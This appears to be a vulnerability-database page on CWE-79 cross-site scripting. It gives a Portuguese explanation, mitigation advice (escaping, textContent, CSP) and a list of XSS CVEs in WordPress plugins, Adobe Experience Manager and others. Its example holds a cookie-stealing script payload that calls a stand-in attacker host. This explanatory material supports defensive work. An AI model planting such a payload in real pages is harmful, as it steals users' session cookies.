Fallos del tipo CWE-79

29.799 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-36204MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-13755MEDIUMTickera <= 3.6.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'price_wrapper' Shortcode AttributeEPSS 0.4%CVE-2024-36205MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-2519LOWMAGESH-K21 Online-College-Event-Hall-Reservation-System navbar.php cross site scriptingEPSS 0.4%CVE-2024-25155HIGHReflected Cross-Site Scripting (XSS) in FileCatalyst Direct 3.8.8 and earlierEPSS 0.4%CVE-2024-36206MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.4%CVE-2025-55742HIGHUnoPim Stored XSS via SVG MIME/Sanitizer BypassEPSS 0.4%CVE-2023-49169MEDIUMWordPress Ads by datafeedr.com Plugin <= 1.2.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-31306MEDIUMWordPress Essential Blocks plugin <= 4.5.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-2833MEDIUMJobs for WordPress <= 2.7.5 - Reflected Cross-Site Scripting via job-searchEPSS 0.4%CVE-2023-49152MEDIUMWordPress Credit Tracker Plugin <= 1.1.17 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-25841MEDIUMIn the module "So Flexibilite" (soflexibilite) from Common-Services for PrestaShop < 4.1.26, a guest (authenticated customer) can perform CrEPSS 0.4%CVE-2025-30906HIGHWordPress Plugin Oficial – Getnet para WooCommerce plugin <= 1.7.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-32543HIGHWordPress Canonical Attachments Plugin <= 1.8 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-36207MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-33791MEDIUMA cross-site scripting (XSS) vulnerability in netis-systems MEX605 v2.00.06 allows attackers to execute arbitrary web scripts or HTML via a EPSS 0.4%CVE-2025-31085HIGHWordPress xili-language plugin <= 2.21.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-30905HIGHWordPress Secure Copy Content Protection and Content Locking plugin <= 4.4.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-47190MEDIUMWordPress Apollo13 Framework Extensions Plugin <= 1.9.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-47659MEDIUMWordPress Lava Directory Manager Plugin <= 1.1.34 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%